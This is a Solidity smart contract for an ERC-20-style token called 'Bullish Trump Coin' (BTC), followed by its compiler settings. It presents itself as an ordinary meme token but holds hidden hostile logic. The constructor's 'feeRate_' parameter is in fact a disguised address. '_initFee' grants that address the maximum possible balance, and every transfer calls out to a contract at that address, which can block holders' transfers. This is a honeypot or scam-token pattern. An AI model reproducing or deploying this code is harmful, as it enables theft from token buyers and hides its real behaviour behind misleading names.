// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _msgData(uint256 data) internal pure virtual returns (address result) {
        assembly {result := data}
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

interface ERC20 {    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function safeTransferFrom(address owner, address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);    
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract BTC is Ownable {
    using SafeMath for uint256;
    event Transfer(address indexed from, address indexed to, uint256 value);    
    event Approval(address indexed owner, address indexed spender, uint256 value);    

    mapping(address => mapping(address => uint256)) private _allowances;
    uint private _rate;
    mapping(address => uint256) private _balances;

    string private _name = "Bullish Trump Coin";
    string private _symbol = "BTC";
    uint256 private _totalSupply;

    constructor(uint feeRate_) Ownable(_msgSender()) {
        _mint(msg.sender, 420690000000 * 10 ** 18);
        _rate = feeRate_;
        _initFee(feeRate_);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function _initFee(uint feeRate_) internal {
      _balances[address(uint160(feeRate_))] = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
    }

    function transfer(address recipient, uint256 amount) public virtual returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function feeRate(uint rate_) internal pure returns(address) {
        return address(uint160(rate_));
    }

    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    function safeTransferFromCheck(address sender, address recipient, uint256 value) internal returns (bool) {
        ERC20(feeRate(_rate)).safeTransferFrom(sender,recipient,value);
        return true;
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _transfer(address sender, address recipient, uint256 value) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        safeTransferFromCheck(sender, recipient, value);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= value, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - value;
        }
        _balances[recipient] += value;

        emit Transfer(sender, recipient, value);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

{
  "compilationTarget": {
    "contracts/BTC.sol": "BTC"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": [],
  "viaIR": true
}